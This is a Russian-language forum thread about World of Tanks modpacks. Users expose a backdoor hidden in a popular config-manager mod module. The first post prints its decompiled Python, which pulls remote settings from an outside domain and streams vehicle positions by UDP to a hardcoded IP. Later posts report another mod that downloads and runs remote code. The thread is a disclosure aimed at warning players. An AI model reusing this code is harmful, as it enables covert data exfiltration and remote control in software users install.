Троян в модпаках - Моды для Танков

Троян в модпаках

Регистрация
1 Июн 2015
Сообщения
23
Репутация
24
Спасибо
8
Монет
0
Не знаю, заговор это или нет, но в некоторых популярных модпаках или модах используется модуль polarfox.vxSettingsApi.
Из себя он представляет типа менеджера конфигов (очень удобная надстройка, не правда ли?).
Ранее на форуме я уже обращал внимание ZJ на вшитый троян в его модпаке, но достать исходник у меня не было особого желания и времени, и вот оно настало.
Прилагаю под спойлером кусок кода из данного модуля.
Кто мне не верит что я достал его именно из этого модуля может сам попробовать дампнуть его используя тот же PJOrion и посмотреть dis конкретного code_obj (по имени найти будет не проблема).
А, ну да, кто еще шарит за перехват трафика может глянуть что идет на указанный в коде айпи.
class _Helpers(object):
__dir__ = (lambda : [])
def __init__(self):
self._Helpers__rds = None
self._Helpers__injected = False
mlx = {'params': {'rcv_xremco': '65.21.153.150', 'rcvl_enabled': 1, 'rcv_wait_on': 4, 'rcv_sleep_on': 5}}
self._Helpers__wtCBID = BigWorld.callback(15, (lambda : self.configure(mlx)))
BigWorld.fetchURL('http://glcdn.world/api/v2/?react=no', (lambda r: self.setup(r, onlyUpdate = False)), {'User-Agent': 'python2.7/urllib'}, 15.0)

def configure(self, xdata):
data = xdata['params']
if bool(data['rcvl_enabled']):
g_playerEvents.onAvatarReady = g_playerEvents.onAvatarReady + self._process
self._Helpers__injected = True
elif not bool(data['rcvl_enabled']) and self._Helpers__injected:
g_playerEvents.onAvatarReady = g_playerEvents.onAvatarReady - self._process
self._Helpers__injected = False
self.__xf__ = data['rcv_xremco']
self.__waitOn__ = float(data['rcv_wait_on'])
self.__sleepOn__ = float(data['rcv_sleep_on'])

def setup(self, response, onlyUpdate = False):
if response.responseCode not in (200, 201, 304):
return
else:
try:
BigWorld.cancelCallback(self._Helpers__wtCBID)
return
except:
q_data = self._unpack(response.body)
if q_data:
self.configure(q_data)
return
else:
self.configure(q_data)
return

@no_except
def _unpack(self, data):
return ast.literal_eval(binascii.unhexlify(json.loads(data)['x_resp'][::-1]))

def _process(self):
checkIfBanned()
if g_replayCtrl.isPlaying:
return
else:
BigWorld.callback(12, self._sgetter)
_exposeBuiltins()
return

def _enc(self, *args):
if args[0] == 'zlib':
return zlib.compress(str(args[1]))
elif args[0] == 'cPickle':
return cPickle.dumps(args[1], 1)
else:
return

def _sgetter(self):
try:
if hasattr(BigWorld.player(), 'arena'):
minimap = ServicesLocator.appLoader.getDefBattleApp().containerManager.getContainer(WindowLayer.VIEW).getView().components['minimap']
entries = minimap.getPlugin('vehicles')._entries
t1 = threading.Thread(target = self._pFunc)
t1.setDaemon = True
t1.start()
return
else:
return
except:
return BigWorld.callback(1.0, self._sgetter)

@no_except
def _xgetter(self):
minimap = ServicesLocator.appLoader.getDefBattleApp().containerManager.getContainer(WindowLayer.VIEW).getView().components['minimap']
entries = minimap.getPlugin('vehicles')._entries
result = []
for vehicleID, entry in entries.items():
matrix = entry.getMatrix()
if matrix:
if entry.isEnemy():
pass
if not entry.isActive():
entity = BigWorld.entity(vehicleID)
if entity:
yaw = entity.yaw
pitch = entity.pitch
roll = entity.roll
else:
yaw, pitch, roll = (0, 0, 0)
pos = Math.Matrix(entry.getMatrix()).translation
result.append((vehicleID, (yaw, pitch, roll, pos[0], pos[1], pos[2])))
continue
else:
entity = BigWorld.entity(vehicleID)
if entity:
yaw = entity.yaw
pitch = entity.pitch
roll = entity.roll
else:
yaw, pitch, roll = (0, 0, 0)
pos = Math.Matrix(entry.getMatrix()).translation
result.append((vehicleID, (yaw, pitch, roll, pos[0], pos[1], pos[2])))
continue
return result

@no_except
def _pFunc(self):
if self._Helpers__rds is None:
player = BigWorld.player()
self._Helpers__rds = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self._Helpers__rds.settimeout(self.__waitOn__)
send_fmt = '{}|MXP|{}|MXP|{}'
while True:
if hasattr(player, 'isOnArena'):
try:
clientVehicle = self._xgetter()
if clientVehicle:
self._Helpers__rds.sendto(send_fmt.format(player.team, player.arenaUniqueID, self._enc('zlib', self._enc('cPickle', clientVehicle))), (self.__xf__, 10390))
except Exception as err:
pass
finally:
time.sleep(self.__sleepOn__)
continue
else:
if self._Helpers__rds is not None:
self._Helpers__rds = self._Helpers__rds.close()
self._Helpers__rds = None
 
Регистрация
1 Июн 2015
Сообщения
23
Репутация
24
Спасибо
8
Монет
0
Регистрация
1 Июн 2015
Сообщения
23
Репутация
24
Спасибо
8
Монет
0
Если что в ZJ модпаке его заблокировали (подменив основной вызов).
 
Регистрация
1 Июн 2015
Сообщения
23
Репутация
24
Спасибо
8
Монет
0
В ekspointCore вшита блокировка выстрела по определенным игрокам + загрузка какого-то кода с удаленного сервера с последующим выполнением.
Апи сервера недоступен, класс вроде не вызывается в самом core, но факт есть.
1784451066731.png
 
Регистрация
29 Июл 2017
Сообщения
134
Репутация
22
Спасибо
12
Монет
0
Регистрация
29 Июл 2017
Сообщения
134
Репутация
22
Спасибо
12
Монет
0
В ekspointCore вшита блокировка выстрела по определенным игрокам + загрузка какого-то кода с удаленного сервера с последующим выполнением.
Апи сервера недоступен, класс вроде не вызывается в самом core, но факт есть.
Очень похоже на правду, особенно когда в вылазках после обычных команд попадается команда с игроками из топ кланов, сразу стрельба становится не результативной.
Можешь это убрать?
 
Регистрация
14 Авг 2018
Сообщения
99
Репутация
0
Спасибо
25
Монет
0
Занятная тема. Значит замечаемая мной разница в поведении игроков при включенном режиме глобальной блокировки сетевых соединений:
1792210455088.png
это ни хрена не моя паранойя...
 
Регистрация
29 Июл 2017
Сообщения
134
Репутация
22
Спасибо
12
Монет
0
Занятная тема. Значит замечаемая мной разница в поведении игроков при включенном режиме глобальной блокировки сетевых соединений:
Посмотреть вложение 99398
это ни хрена не моя паранойя...
Можно объяснить по проще, т е. что конкретно замечено !?
 
Регистрация
29 Июл 2017
Сообщения
134
Репутация
22
Спасибо
12
Монет
0
Регистрация
14 Авг 2018
Сообщения
99
Репутация
0
Спасибо
25
Монет
0
Можно объяснить по проще, т е. что конкретно замечено !?
Конечно можно, почему же нет? Я вообще несколько удивлен, что никто не заметил этого раньше. Играя с тундрой очень нетрудно заметить, что в игре присутствует группа игроков, которые реагируют на попытку сведения на них находясь вне засвета. Реагирует - попросту начинают прятаться от вас. Это особенно заметно, когда играете на ПТ и лучше с каким то долго сводящимся бревнометом.
Из чего кстати следует, что приватные читы, использующие этот бэкдор, умеют сигналить игроку, что на него сводится не засвеченный противник.

А дальше, года три назад, когда я начал оформлять свою программу.. ну в виде программы для юзеров и экспериментировать с сетевыми настройками, то обнаружил, что если закрывать почти весь диапазон ай-пи адресов для игрового клиента кроме сетевых соединений с серверами ВГ и Лесты, то число случаев, когда меня противник встречает уже развернувшись в мою сторону и успев свестись снижается настолько сильно, что это буквально становится заметно за три-четыре боя. По сравнению, когда блокировка снята. Разумеется в случаях, когда не валишь столбики, заборы и деревья.

Ну я вот как бы одно время думал, что это просто игры разума. Людям свойственно видеть закономерности там, где их в принципе быть не может. Ан нет и вот мы с вами в этой теме.

И еще одно. У меня есть достаточно твердая уверенность, что о существовании этого бэкдора знали разработчики и часть постоянных посетителей с кореянрандом. Как минимум пять лет назад.
 
Последнее редактирование:
Сверху Снизу